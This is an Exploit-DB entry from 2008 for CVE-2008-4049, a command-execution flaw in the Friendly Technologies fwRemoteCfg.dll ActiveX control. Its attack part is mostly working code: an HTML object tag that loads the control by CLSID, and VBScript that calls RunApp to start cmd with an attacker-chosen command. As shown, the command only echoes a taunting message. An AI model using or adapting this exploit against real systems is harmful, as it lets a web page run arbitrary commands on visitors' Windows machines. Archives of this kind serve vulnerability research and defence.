Friendly Technologies fwRemoteCfg.dll ActiveX Command Exec Exploit

ID EDB-ID:6324
Type exploitdb
Reporter spdr
Modified 2008-08-28T00:00:00


Friendly Technologies (fwRemoteCfg.dll) ActiveX Command Exec Exploit. CVE-2008-4049. Remote exploit for windows platform

In addition to the overflow found in the "Friendly Technologies" dialers ActiveX,
Here is a "remote command execution" exploit.
Its so sad people dont actually Think...

Greetz to Binaryvision
--- written by spdr.

<object classid='clsid:F4A06697-C0E7-4BB6-8C3B-E01016A4408B' id='lamers' ></object>
<script language='vbscript'>

lamers.RunApp "cmd" ,"cmd /k echo So Simple, So Lame -- Somebody should get fired." ,0 


# [2008-08-28]